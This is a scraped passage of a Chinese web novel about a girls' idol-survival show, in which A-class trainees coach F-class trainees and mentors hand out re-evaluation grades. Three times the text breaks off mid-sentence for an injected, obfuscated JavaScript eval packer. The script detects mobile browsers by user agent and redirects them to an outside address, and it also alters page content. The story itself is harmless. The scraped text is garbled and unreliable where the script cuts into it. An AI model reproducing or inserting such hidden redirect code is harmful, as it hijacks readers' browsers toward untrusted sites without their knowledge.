从白天到晚上,从旭日初升到繁星满天,她一直在练习室跳到四肢酸软,1L装的矿泉水瓶在脚边堆成了一个小堆。 所以她没有办法理解这些练习生,怎么会有人觉得没有舞台也是没有关系的事情? 她不在乎自己的付出被辜负,毕竟相比自己这几个小时的付出,她觉得她们最对不起的是她们自己长达几年的付出。 所以殷辞玉选择摔门而去,不尊重舞台不尊重自己的练习生,她自己也没必要花额外的心思了。 * 时虞清看着面前谭青青的脸色变了又变,就知道她肯定也被自己说动了。 能来到这里不是一件容易的事情,就算殷pd发了这么大的火,她也希望有些真正有梦想的人不受到波及。 谭清清沉默良久,在盘中的蒸鸡蛋羹都已经快要被她戳成蛋花汤之前,她终于开口:“你想怎么做?” 她抬起头,望着时虞清的双眸,“我能帮你的一定帮。” 到底要怎么做,在谭清清犹豫的空隙时,时虞清早就已经想到了对策。 节目组的安排其实更侧重于自力更生,练习生们只能接受dance、vocal方面的指导各一次,剩下的都是自由练习的时间。 而且幸运的是,节目组在练习室的分配上并没有厚此薄彼、看人下菜碟,而是直接按照人数分配的练习室,等级评价最高的A级练习生拥有的练习室其实是最小的,而人数最多的D\F练习生们的练习室,才是空间最大的。 时虞清拨动着盘中所剩不多的菜肴,慢慢将自己心中的想法和盘托出:“我在想,能不能我和她们一起练习?大家一起练习的话也算是各自有个伴,碰到不会的动作还能相互指点一下。” 谭清清愣了一下,然后很快地松了一口气。 她一开始还以为时虞清自己要废寝忘食地先将dance和vocal全部学会,然后好为人师地直接在d班和f班发光发热,为了同期练习生们的前途燃烧自己。 还好还好,只是一起练习、偶尔指点一下而已。 谭清清放下筷子思索,谢天谢地,她终于愿意放过那一盘可怜的鸡蛋羹了,“这样吧虞清,” 她比划一下:“我先把dance的部分学会,你的vocal更好,你就专攻vocal哪一方面,省的到时候她们问起来,咱们只是一知半解。” 时虞清点点头,觉得她说的非常有道理。 谭清清自己就是舞蹈专业出身,她的学校是部级示范,想考上就绝对是要从千军万马之中杀出来,实力毋庸置疑。 就算她自己没有办法在这样短的时间之内精通主题曲,也绝对有办法让其他练习生学得更省力,同时也学会更多技巧。 两个人对视一眼,都知道对方心中想着些什么。 时虞清雀跃起来,尽管连她自己都不知道自己究竟在高兴些什么东西,但她还是笑盈盈地抬起手,想要和谭清清击掌为誓: “give me five!” 时虞清张开五指,但她没有想到,和自己贴在一起的手掌并不是想象之中谭清清的,而是另外一双、陌生的手。 “耶。” 卞苏估计是第一次在非rap的语境下这样说话,原本活泼的短音被她说的愣是像地狱里面的阎王在点到,吓得旁边谭清清的手直接僵直在了原地。 倒是站在一边的邬钰神色如常,她脸上是一贯温柔而慈祥的笑容,跟在卞苏后边接了一句:“give you five。” 说着,她从口袋之中抽出了五根色彩各异的棒棒糖,耐心地一一夹在了时虞清张开的五指之间。 霎时间,时虞清的五指色彩缤纷、异彩连连,几乎和舞台上五颜六色的灯光有的一拼。 谭清清看热闹不嫌事大,笑眯眯地抽回了手,看不出一丝尴尬。 她乐得看时虞清窘迫的样子,打趣了一句:“咱们虞清晃一晃手指,说不定舞台的灯光都要下岗了哈哈哈哈哈哈!” 几个女生笑成一团,就连卞苏也忍俊不禁。 时虞清悻悻拆开棒棒糖,顺手给谭清清笑得合不拢的嘴中也塞了一根。 看谭清清被塞得一愣,忙不迭地含住糖棍才终于满意地撤回手,小声嘀咕道:“那我现在就举着棒棒糖去舞台上摇晃,给你们打光。” “打光就免啦,”邬钰探出头,“你俩刚刚说的那个事情,我们还是很感兴趣的。” “我们”……等等,谁们?! 时虞清连忙站起身想着邬钰身后看过去,才发现她们其实不只有两个人,燕临纾站在她们身后,抱臂看着这边。 时虞清:…………。 怪不得她说刚才笑声怎么那么大,原来就是这个燕临纾笑得最开心。 时虞清:笑点真低,不过韩国人都不会讲笑话吗?她看上去好像真的很开心。 她一边不地道地在心中腹诽着人家,一边抬起头:“你们也要一起去吗?” 这其实不仅仅只是伸个手的事情,也不是什么善心泛滥一拍脑袋就能做出的事情。 要知道,A级评价的练习生基本上都是摄像头的宠儿,所有练习室之中,就是A\B评价练习生的练习室里面摄像头最多,如果她们去了别的练习室练习,摄像头肯定也会跟着她们走。 这样一来,被分走镜头基本上就是没有办法避免的事情了。 卞苏和燕临纾自然知道,但是她们对自己有信心,当下就对时虞清摆摆手表示自己并不在意。 一向温柔的邬钰也轻轻摇摇头,说:“我队友也在F班,就算你们不提这件事情,我也一定会过去的。” 时虞清没有想到大家竟然这样配合和热心,当即就点头答应下来。 这毕竟是一个竞演节目,大家彼此都是对手。 时虞清自己无所谓,但面前这几个都是出道的热门选手,愿意向自己的对手伸出援手,这实在是…… 卞苏一看时虞清的表情就知道她到底在想些什么东西,当下就挑眉道:“我可不会主动教。” 话是这样说,可就算她不出言指点,光是站在那里跳,许多练习生看着她的动作也比对着视频学要来的有效率得多。 时虞清只觉得心下有一股暖流呼啸而过,明明食堂窗户大开,不停有冷风灌进来,可她就是觉得全身上下都暖洋洋的,像是刚喝了一口热奶茶。 她转了转瞳孔,才附身过去贴近几个女孩,小声道:“咱们这样不行,太突然了。我们得这样……” *** 谈玥乍一听到这句话,还以为自己是接连练习了这么久的舞蹈,耳朵出问题了, “你说什么?她们要来哪里?” 肖蝉连忙向着她比了一个“噤声”的手势,示意她小一点声音。 谈玥这才意识到自己的音量稍微有点超标,连忙压低了声音,再次重复问了一遍:“你认真的吗?她们真的是这样打算的?” 她像是不太确定,又犹犹疑疑地小声道:“……你不会是听错了吧?” 肖蝉和她同在F班,两个人是一个团的,在殷辞玉发火那一天,肖蝉是第一个和她一起站起来继续练习的人。 肖蝉不会无聊到拿这种事情开玩笑,当即就正色道:“当然是真的!我靠你跳舞跳傻了吧,这还能有假?” 她环顾了一圈四周,才悄悄附耳到谈玥耳旁:“真的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358240|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我去D班的时候,时虞清就是这样跟我说的!” A班的练习生……竟然愿意来F班练习顺便指点她们跳舞??!! 饶是就在现场、亲耳听到时虞清这样说的肖蝉都傻了眼,这姐是玛利亚下凡吗?她们可是竞争对手啊! 可这好处毕竟是实打实的,肖蝉很感激她,当下就和时虞清约定好了时间,翘首以盼等着她来。 果然,时间慢慢接近那个两人约定好的时间越来越近,肖蝉和谈玥翘首以待,在她们的目光把练习室的大门盯穿了之前,时虞清才慢悠悠踏步进来。 卞苏跟在她身后,以完全不符合性格的动作悄悄关上门。 饶是时虞清早就做好了准备,也还是忍不住因为F班现在的情况吃了一惊。 偌大而空旷的练习室满打满算也凑不齐三桌麻将,而好端端站在镜子面前跳舞的更是连凑两桌斗地主都够呛,几个女生用宽阔的卫衣帽子盖住脑袋,胸膛平稳地一起一伏,显然是睡着了。 比起练得一派热火朝天景象的其他练习室,F级练习生的练习室和冰窖也没有什么区别了。 时虞清不由自主地放慢了脚步,落在了卞苏身后。 两人完全没有想到卞苏竟然也回来,要知道,她可是所有练习生公认的舞蹈实力top! 这实在是意外之喜了。 她们俩连忙朝着时虞清和卞苏两人所在的地方鞠躬,谁知道头都才刚刚低下去,就被一个箭步冲过来的卞苏扶住了。 “不必行此大礼。” 时虞清从卞苏身后探出头,淡定道:“咱们开始吧。” 谈玥和肖蝉看着她们俩的背影,不禁心生赞叹。 这两位不愧是在节目最开始就能拿到A等级评价的练习生,不管是舞蹈基础还是舞台台风都和她们不是一个level; 真的要说的话,卞苏的动作明显相当专业,一举一动都像是用尺子量出来的,动作变换之间丝毫不拖泥带水,四肢简直如臂指使,指哪打哪。 相比之下,时虞清的动作就没有那样准确,或许是因为她之前跳舞并不太多,舞蹈的重心稍稍有些不稳,但她的气质和动作却浑然天成,恰到好处地将这些缺陷弥补起来。 两个人一清静一冷肃,尽管风格各不相同,但都是一样的抓人眼球,看过一眼就再难移开视线。 看着她们的舞蹈动作,谈玥和肖蝉不由自主地跟在后面跟跳,她们四个的身高差不了多少,如果不知道这个动作之中,手臂要抬到什么位置才算好的话,只需要抬头看前面的卞苏或是时虞清一眼就好。 卞苏比时虞清倒显得更加游刃有余一些,她在跳舞的时候还能分心看向镜子中,留心着身后两个练习生的动作。 “这里的手抬起来一点,你比我稍微矮一点,这个手要放在这里才好看。” “等等,你那个胯,要像这样送出去。” 卞苏放下抬起了一半的手,绕到肖蝉身后,对着镜子纠正她的动作, “你这个太生硬了,自然一点。要轻轻送出去,动作才能连贯的接上。你在这里就这么用力,以后的动作怎么办。” 肖蝉听了这话,只觉得有些受宠若惊,可卞苏微烫的手掌还贴着她的胯骨,为了跳舞,肖蝉今天穿得是亚麻材质的阔腿裤,这种材质的衣服根本就什么也遮挡不住,一下就把卞苏掌心炽热的温度传递到她的肌肤上,烫得她几乎要起鸡皮疙瘩。 可已经现在没有时间留给她想这些不相关的东西了,肖蝉小心翼翼地操控着自己的身体,她从来没有这么谨慎过,恍惚间她甚至以为自己的身体化作了一台一比一传感的机甲,被自己操纵着在外太空作战,枪林弹雨中穿梭。 果然,她的胯骨顺着卞苏轻推的动作向前发力,刚才还觉得吃力的动作一下子就轻松起来,就连做出后面那些繁复而细碎的动作都不觉得吃力了。 肖蝉抬起头看向镜中的自己,穿着浅色阔腿裤的女孩动作流畅,发力恰到好处,就算现在没有音乐,看的人也能通过她的动作知道这首歌的鼓点究竟落在了哪里。 不知道是谁拔掉了耳机,主题曲的音乐霎时间倾泻出来,果然如肖蝉所想,她的每一个动作都完美地落在了每一个鼓点上。 ……她之前跳舞,卡点从来都没有这样精准过。 看着镜中的自己,肖蝉忽然生出了几分自信和对评级的微小希冀,这一part结束之后,她连忙转身向卞苏道谢。 卞苏摆摆手,倒没有太过于在意。 跳舞就是这样,大家都知道这个动作究竟是什么样的,但是这个动作怎么发力、重心在哪里、用什么样的力道才好看,都是需要仔细琢磨的事情,只要有人指点出来,就是事半功倍的效果。 或者说,她们几个聚在一起,本身就是效率超级翻倍的事情。 17.初评级(六) 殷辞玉没有想到,F级练习生们的练习室还会出现这么热闹的情况。 卞苏、时虞清,不管怎么看她们都不应该出现在这里,毕竟她们身上鲜艳的粉红色练习服和她们身后两个练习生的灰色衣服实在是格格不入。 但不知道为什么,这四个人凑在一起时,风牛马不相及的两个颜色之间突然就和谐了起来,变得顺眼许多。 甚至让殷辞玉本人都忍不住想,要不下一次的打歌服,就跟公司说要灰粉配色的? 这是想到哪里去了? 殷辞玉摇摇头,将脑海中无关紧要的想法驱逐出去之后,她才重新凝神看向了监控室的屏幕。 这四个人凑在一起绝对不是巧合,说来也是奇怪,卞苏那样一个冷淡的人,竟然也会在她们跟随自己的指导跳对动作后绽放出那么明媚的笑容, 真是有意思。 赶了一天通告的疲惫如潮水般退却,记忆之中那些纯粹而美好的画面再一次浮现在她眼前,殷辞玉向后仰倒在座椅之中,决定好好享受这难得的景象。 这个时候年纪和友情,真是好的不能再好了。 ******* 三天的期限转瞬即逝,今天下午,就是正式录制主题曲再评级考核视频的时候了。 五个练习室已经早早被清理出来,练习生们失去了练习室之后,有的早就对即将到来的结果满心绝望,索性直接回了宿舍睡觉,有的则是见缝插针地找地方练习,走廊、宿舍、甚至食堂之中,都有练习生在努力练习的背影。 不说究竟练习得怎么样,食堂的大妈大爷倒是看得起劲、津津有味得很,中午还特地烧了鸡腿祝她们考核顺利。 五台摄像机被各自放在了练习室的正中央,灯光师和摄像师早早就调好了灯光和角度,保证出来了画面绝对是清晰而准确的。 所有人都在为她们这一次的考核而努力。 而需要经受考核的她们自己,就更不必说了。 比起哀声载道一片的其他练习室,A等级练习生的练习室中可谓风平浪静,几个女生蹲在墙角,简直淡定得不能再淡定了。 卞苏环视一圈,见没有人出声,便径直站起身,朝着镜头后面的摄像师点了点头,举手示意道:“那就我先来吧。” 其他几个人点点头,都没有表示出异议。 卞苏的自信和实力是绝对成正比的,她的动作干净流畅,每一次发力都重重地落在节拍之上,每个动作的衔接都堪称天衣无缝,简直找不出一丝错漏。 要不是亲眼看到卞苏在跳舞,众人只会觉得面前是在播放一部早就已经录制好的影片,而影片的结果自然是毋庸置疑。 卞苏做完ending part之后还在原地保持了三秒,直到摄影师向自己比出手势她才走回原地。 她的步伐自然而舒展,显然对自己的发挥感觉良好,觉得维持住现在的等级不是什么太大的问题。 在场众人只有时虞清基础最差,但她自己竟然心态良好,毕竟她自己也不准备追求出道位,能把动作顺利做完,唱歌不跑调不进错拍,就已经非常好了。 时虞清站起身,走到了摄像机面前。 她这几天加起来才睡到了不到十个小时,长痛不如短痛,与其坐在这里等待,她情愿放自己回去宿舍补交。 主题曲的伴奏声在不大的练习室之中弥漫开来,时虞清暗暗在心中数着拍子,开口唱出了第一句。 顺着音乐的节拍,她变换着手和腿的动作,在众人看来,她的发力显然没有卞苏准确而利落,重心也并不是那么稳,但好在动作都准确无误,没有把抬手的动作变成抬腿或是别的什么东西。 时虞清最吃香的就是那一把清凌凌的嗓子,好好的逐梦娱乐圈在舞台发光发热的热血曲几乎被她唱成恬淡自如的叙事诗,音准节拍无一出错,甚至还唱出了自己的风格,比起她初舞台准备的那一首曲子不知道出色多少,连坐在最边缘、所有练习生公认的vocal实力top舒照闻选手都忍不住连连点头,暗自赞叹。 初舞台的录制看似很长,实则又很短,这三天的所有辛勤困苦、所有汗水疲惫,都被浓缩到这短短三分钟的视频内,让人不禁心酸。 时虞清顺利结束录制,施施然回了刚才坐下的地方。 但她没有久留,而是分别和A班的其他几位练习生一一打过招呼才拎起包准备回宿舍补觉。 她根本没有出道的兴趣,能好好练习这三天,把主题曲完整跳下来,就已经算是对得起王姐大费周章把她送进节目的苦心,和这三天之内,导师们的殷殷教诲了。 她毕竟还是一名话剧演员,为了唱歌跳舞把自己的身体透支了,并不是一件值当的事情。 ******* 演播厅内。 还是一开始初见面的那一间演播厅,但五位导师却只到了三位。 “因为我们这一次的主题曲没有准备rap部分,就不耽误kiana老师和希林老师跑行程了。” 殷辞玉解释道。 这都是一开始就知道的事情,但毕竟是在镜头面前,赵蕴予和费谣还是点点头,表示并没有关系。 尽管练习生那边的主题曲舞台再评级视频还在接连不断地录制当中,但为了配合节目组的宣发速度,她们也只能见缝插针地找时间,边录制再评级视频的repo边等着视频全部录完。 视频播放的顺序是一百位练习生不分等级的提交顺序来排序,但第一个出现在大屏幕之上的人几乎毫无疑问,赫然就是卞苏。 看她开始动作,赵蕴予先是赞许地点点头:“跳得不错。” A班的舞蹈是她一个动作一个动作教过去的,卞苏是其中最让她放心的人之一。 殷辞玉凝视着大屏幕之中女孩的身影,也忍不住心生赞叹:“她确实跳得不错,我个人认为唱得不差,费谣老师觉得呢?” 费谣笑着摇摇头,“我能有什么意见,这可是我的得意门生啊。” 卞苏虽然是唱rap更多更好,但其实vocal方面的实力并不差,起码在课程之中,她并没有让费谣操过心。 很快视频就在三位导师赞许的目光之中播放完毕,殷辞玉单手撑着脸,另一只手拿起一个印章,在其他两位导师面前晃了晃就直接往下盖。 赵蕴予和费谣显然没有任何意见。 殷辞玉望着雪白评级名单上一个鲜红的硕大字迹,万分满意道: “这就是A的标准了。” ******* F级练习生练习室。 摄像机被架在练习室的正中央,散发着凛然不可侵犯的气势,只剩下围坐了一圈的练习生们面面相觑。 她们逃避练习的时候倒是一个比一个硬气,但真的到了拼刺刀露真章的时候,除了那几个铁了心不抱指望的,几乎都已经开始后悔。 “怎么办……我连动作都没有记全啊……” “完了,怎么连伴奏都没有,竟然是清唱,我一张嘴就肯定跑调。” “谁说不是呢……我觉得动作没有记全也不算是什么大事吧,你就能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16358241|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 保证那些b班c班的能好好跳出来?但我连歌词都没有背下来啊,这可怎么办啊……” 最后说话的那个女生的声音中几乎染上了哭腔,但在场却没有人为此动容。 毕竟选择是自己做出的,要对此负责。 比起其他练习生,谈玥和肖蝉显得有底气得多,她们和时虞清几乎抱了一模一样的想法,都想要快点结束。 但不一样的是,时虞清是不想拖垮身体尽快回去补觉,她们则是急于检验自己这三天昼夜不眠练习出来的成果。 “我先来吧。” 谈玥率先站起身,她的舞蹈动作基本上是卞苏带着她一个一个抠的,作为卞苏的半个徒弟,她怎么也不能让自己师傅蒙羞。 摄像机的红光乍然出现,透明的镜头上倒映出女孩的身影,一身黑衣的摄影师朝着她比了一个手势,示意她可以开始了。 谈玥深吸了一口气,在满室的明亮灯光下,缓缓抬起手。 ******* 演播厅。 不知道是不是因为物极必反定律,殷辞玉皱着没有看着大屏幕上的身影,继卞苏之后,几乎所有的练习生都出现了或大或小的错漏。 “哎呀这个音跑调了啊,我在B班上课的时候单独教了她好几遍,本来都能唱好的。” 殷辞玉看着大屏幕上忘动作忘词的练习生,只觉得无比头疼,几个D班的练习生更是不得了,唱不出来索性就freestyle,好好的主题曲表演变成了即兴说唱。 ……词还错漏百出。 殷辞玉忍不住扶额,倒是赵蕴予心态良好,还安慰了身边的费谣几句: “哎呀,站在镜头面前嘛,肯定和平时不太一样的。” 她教了这么多班的舞蹈,对练习生们的实力心知肚明,现在早就做好了心理准备,自然淡然处之。 或许是因为物极必反定律再次显现,下一个出现在大屏幕之中的练习生如及时雨,拯救了两位导师岌岌可危的心理状态。 尽管不可避免还是出现了音调不准、拍子没数好的小小毛病,可比起前面几个练习生的拙劣表演,她简直就像是天使下凡。 毕竟她的歌词没有任何毛病,舞蹈动作也没有任何问题,甚至几个动作的发力点准确无比,卡点精确到赵蕴予也暗暗点头。 “是B班的练习生吧?三天能练成这样,不错了。” “是B班的吗?我怎么感觉不太面熟。” “但是其他班的也不太能有这个水平吧?辞玉姐,你看呢?” 闻言,殷辞玉低头看了看手中的登记表,但这不看不知道,一看吓一跳, 雪白的纸张之上,“谈玥”这个名字后面跟着的漆黑字样让殷辞玉当场愣在了原地,她不可置信道: “……F???" "什么?F级的练习生,你没看错吧?" “是呀小殷,你再仔细看看呢。” “……我没有看错,”殷辞玉深吸了一口气,慢慢镇定下来,“就是F班的,她叫谈玥。” 赵蕴予和费谣同时哑然,她们怎么也没有想到,F班那样资质的班级,都能飞出这样的金凤凰。 这个女生能在三天之内拿出这样的水平……其中的辛劳、汗水不言而喻。 殷辞玉坐直了身子,双手拿起了放在手旁的印章,朝着镜头正色道: “现在公布谈玥练习生主题曲再评级的等级结果,” 她两只手把着印章,在纸上郑重地盖下了那个鲜红的印章, “B。” 18.初评级(七) 演播厅。 三天的期限转瞬即逝,数千个小时的辛苦化作一沓厚厚的成绩单,被端正地摆放在舞台正中央的桌子上。 原本被标着号码牌的坐席早就被换成了第一次等级评价的结果,等待着练习生们的入座。 入口处早就已经架好了摄像机,穿着黑色背心的场记站在摄像机旁边严阵以待,时虞清站在A班队伍的最末尾,等待着入场。 听说昨天节目组就已经把所有练习生的出道曲考核视频打包发给导师们了,谭清清说的煞有介事,据说是路过演播室的时候看场记小姐姐压缩视频到崩溃。 一百位练习生的高清4k视频,那估计电脑主机和工作人员一样崩溃。 时虞清刚刚进入话剧院的时候有尝试自己剪辑过宣传视频,对于数十段素材现在还心有余悸,单是听谭清清描述都心惊肉跳。 青年话剧演员大多都没有什么名气,除了剧场的宣传,还需要自己给自己宣传,才能吸引更多的观众。 “虞清?虞清!你在想什么呢?马上要入场了,”邬钰就站在时虞清旁边,她的长发柔顺地披在肩头,低头看时虞清的时候便会一直往下滑, 她仔细看了看时虞清的脸色,狐疑道,“是不是身体不舒服?” 邬钰想到这几天时虞清的表现就有些后怕,“你不是练习生出身,之前也没这样熬过吧?是不是这几天累坏了?” 她担忧地望着时虞清,连眉头都蹙得紧绷。 时虞清这几天跟着卞苏没日没夜地练,这倒也没什么,为了保住A班的身份,所有人都是没日没夜地熬,凌晨三四点睡觉六七点起床接着练是很常见地事情,没有人觉得奇怪。 只有邬钰一直记挂着时虞清的身体,每天都会去F班或者D班的练习室特地找她,给她塞早饭。 时虞清也不知道为什么自己让邬钰留下了“柔脆易碎”的形象,她思来想去,或许是因为年纪不算大,让邬钰把她当成队里的妹妹看了。 所以才会有这样下意识的、无微不至的关心和照顾。 但是邬钰可能不知道,像时虞清这种话剧专业出身的科班演员,在巡演开始之前都是没日没夜地背台词、练习走位,很现在其实也相差无几。 有时候舞台设计还会根据剧场的不同临时调整,这个时候的话剧演员都是通宵练习来适应新的走位的。 但不管是在学校通宵排练剧目还是工作之后熬大夜熟悉走位,时虞清都没有这样被人关心过。 她一回过神,就对上了邬钰凝视着她的双眸,“我没事的,小钰姐。” “刚才只是在想别的事情而已。” “这样吗?那好吧,”邬钰轻轻叹了一口气,“要是有不舒服要记得讲出来啊。” 其实如果是自己队里的妹妹这样拼死拼活地练习,邬钰是绝对不会多说什么的。 作为队长,她自己一直都是高标准严要求自己,如果队伍里面的妹妹这样勤奋,她反倒会乐见其成。 可是时虞清不一样。 邬钰的第六感一直很准,她小时候因为长得可爱,时常有大人来逗她,大多数人都是出自善意才会来逗弄她玩,可有些时候也有人不含好心, 她小时候被家人宠惯了,碰见不喜欢的人就不会和对方说话,长大了才知道,自己下意识的“不喜欢”帮自己规避掉了多少危险。 时虞清跳舞的样子和其他人跳舞的人截然不同,邬钰说不出来那种感觉,但她就是下意识觉得,时虞清不喜欢跳舞。 或者说,比起好好跳舞维持住现在的名次,她觉得时虞清有更像做的事情。 至于她究竟想要做什么,邬钰不知道,但是她知道,时虞清现在的练习强度已经差不多能和她们相提并论了,再这样熬下去,她的身体迟早会出事的。 她们这样拼命是为了让万象制作人看到,是为了出道获得更好的前途,那时虞清是为了什么呢? 她不知道。 所以她才劝着时虞清,没必要为了自己并不想要做的事情花费没必要的精力和辛苦,或许唱歌跳舞最后出道对她们来说是好得不能再好的结局,但邬钰下意识还是觉得,这不是时虞清想要的。 但是看见时虞清这样说,显然是不想要自己担心,邬钰也只能作罢,不再多说什么。 “A组练习生!”场记攥着对讲机拼命朝她们挥手致意,“现在进场!” 她的动作干练,三步并作两步就跑过来,协调好了B班的队伍,“B班人多,你们进去的时候注意队形!” 场记的声音越来越远,时虞清刚走进演播厅就被灯光闪了一下眼睛,但顾及着这里有摄像头,她还是没有抬手遮住眼睛,只能微眯着眼睛,跟着邬钰往上走。 A班人少,很快就在最高处站定了,那位场记的协调能力显然出众,A班站定的时间竟然和B班进场的时间完美重叠。 练习生陆陆续续地出场,很快就将演播厅站得满满当当,不留半分缝隙。 对比之下,导师台倒显得寥落得很,五名老师中竟然只来了三位,只有殷辞玉和两位rap导师站在台上。 没等众练习生疑惑,殷辞玉率先拿起话筒解释,声音还带着点哑:“昨晚费谣导师和赵蕴予导师在陪我给大家的视频评级,现在还在酒店休息,大家见谅。” 难怪! 练习生们的视频昨天才全部录制完,今天再评级结果就出了,时虞清还以为是导师们制定下标准让节目组来审阅,没想到,竟然使导师们一个一个亲自看过去的?! 时虞清有些惊讶,但看着殷辞玉连美瞳都盖不住的泛红眼眶,她只觉哑然。 所以说,三位导师们熬夜看完了练习生们的再评级舞台,但是另两位需要休息,才派了两位rap导师来镇场子。 那殷辞玉pd呢?她不需要休息的吗? 时虞清只觉一股敬意油然而生,她之前在剧组碰见过很多因为咖位大所以连台词都不背,全靠后期配音的演员,她自己出镜不少,很多时候都会因为其他人ng,然后一遍遍重新来过。 殷辞玉这个咖位……竟然还能负责到这个地步。 可时虞清心中还没有来得及感叹完,就见台上的殷辞玉已经干脆利落地拿起了话筒,“话不多说,我知道很多练习生都为了这个结果努力了三天三夜,现在开始宣布,《万象有你》练习生地舞台再评级结果。” 全场鸦雀无声。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16384936|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 很多人都因为这句话下意识提起心,凝重的气氛霎时间弥漫了整间演播厅,时虞清眼尖地瞥见,就连平日稳重无比的邬钰都不由自主地蜷了掌心。 “请A班练习生卞苏,下来领取你的再评级结果。” 卞苏这几天几乎吃住都在练习室,她不像是别的练习生,能把主题曲完整唱出来跳出来就谢天谢地了,她只花了一天半就记下了所有的舞蹈动作,之后的一天半,几乎都在抠舞蹈细节。 时虞清看着卞苏在镜子面前几乎抬了上百遍胳膊,才好不容易调整到一个她自己满意的角度。 至于vocal,除了谈玥和肖蝉有时候会问她细节,时虞清几乎没有见到过卞苏摘下耳机。 所以……应该是没有问题的吧? 卞苏摘下帽子,向着导师们鞠躬致意,殷辞玉朝她点点头,递给了她成绩单。 薄薄的纸张被轻轻翻开,时虞清看不清上面的内容,只能看见卞苏波澜不惊的表情,她朝着殷辞玉再鞠了一躬才下台往练习生们所在的位置走。 时虞清的目光几乎是亦步亦趋地盯着她拾级而上,知道卞苏站在她身边,才慢慢松了一口气。 卞苏看上去有些没精神,但还是注意到了时虞清明显松了一口气的动作,侧过头打趣她:“怎么,这么担心我走啊?” “是啊,”时虞清默默接话,“吓死我了。” “把心放回肚子里吧,”卞苏抬手压了下帽子,还是没忍住露出一个得意而自信的笑,“也不看看我是谁。” 时虞清刚要笑出来,就听见殷辞玉喊了她的名字,“A班,时虞清。” 时虞清连忙下台,接过了殷辞玉递过来的成绩单。 她自己对结果并不是很在意,能将舞蹈完整跳下来、曲子不唱错歌词就已经是她三天之内能到达的极限了,她问心无愧。 她翻开成绩单一看,一个鲜红的B赫然在上,红得刺目。 意料之中的结局。 时虞清合上成绩单,笑着朝来导师们认真鞠了一躬。 可时虞清自己不在意,有的人却在意的很,好几道或担忧、或惊讶的目光投在她身上,时虞清只能安慰似地回头朝她们笑了笑。 可这安抚的笑却没起到太大的作用,邬钰下来拿成绩单的时候,还假公济私地抱了抱她。 卞苏皱了皱眉头,她对自己相当有信心,但她也知道时虞清水平如何,她录视频的时候卞苏就坐在旁边,知道她已经尽力了。 时间太短了,能做到现在这个地步,她们都已经精疲力尽,还有什么好说的呢? 努力过了,就没有必要后悔了。 但有人显然不这样想。 除了时虞清,A班还有一位练习生降级。 ……舒照闻?! 时虞清不可置信地瞪大眼,在她的设想中,除了自己,A班所有人都应该保持等级的。 但是那天她走得很早,除了第一个上的卞苏,她不知道其他人表演时究竟是个什么样子。 但舒照闻的实力有目共睹,她舞蹈基础扎实,vocal实力更是出众,怎么想也不可能是她出了问题。 所以……到底是怎么一回事? 19.主题曲评定(完) 全场练习生的目光都投射到了舒照闻脸上,震惊、怀疑、不解…… 形形色色、各有所异。 可从时虞清这个角度看过去,舒照闻的表情称得上波澜不惊,甚至可以算得上是平静无波,好像这样令人意外的结果对她来说一点影响都没有。 就连向来严厉的殷辞玉都没有多话,如果舒照闻的水平真的大幅度下降,她就不可能拿到殷辞玉的B等级,而是降低到更低的等级。 舒照闻站定在B级练习生这一层之后,殷辞玉只是看着手中即将放出去的下一份成绩单,语焉不详地说了句:“最近在降温,大家要注意保护嗓子。” 时虞清暗自琢磨,殷辞玉从来不多话,对其他导师来说的例行关心对她来说根本就不存在,如果不是有意外情况发生,殷辞玉是绝对不会说这样的场面话的。 所以……殷辞玉的意思是,舒照闻突然失误的发挥,和嗓子有关? 时虞清为自己的设想吃了一惊,嗓子出问题可大可小,轻则跑调重则失声,但不管什么程度的损伤,对于舒照闻这种专业vocal选手来说都是致命的打击。 舒照闻一向要强,时虞清在A班练习室练习的时候,她常常会因为练不熟一个动作就放弃吃饭,邬钰曾经劝过她几次,可每次舒照闻都是礼貌应下,然后接着练习。 时间长了,邬钰也就尊重她的习惯,不再劝了。 那这样说的话…… 时虞清突然想到了一个堪称致命的问题,之前上课的时候费谣导师已经暗示得相当明白了,主题曲bridge部分的那一段高音,大概率是会交给舒照闻来唱的。 那她现在嗓子出了事,是会甘愿把这份killing part交给别人,还是冒着损伤声带的风险强撑着完成? 时虞清不禁打了一个寒噤,依照舒照闻的性格来看,她会做出哪个选择,已经不言而喻了。 她的视线扫过舒照闻堪称面无表情的脸,心中担忧渐甚。 可不管她心中如何想,这场对于所有人的宣判依旧在继续。 舒照闻的意外竟然不是无独有偶,第三个B班的练习生面色古怪地接过了殷辞玉手中的成绩单,然后一步一步……走向了F班? ! 全场哗然。 就连舞台背后的场记都不慎摔了手中的对讲机,重重落地的声响在鸦雀无声的演播厅中恍若惊雷,劈在每一个人身上。 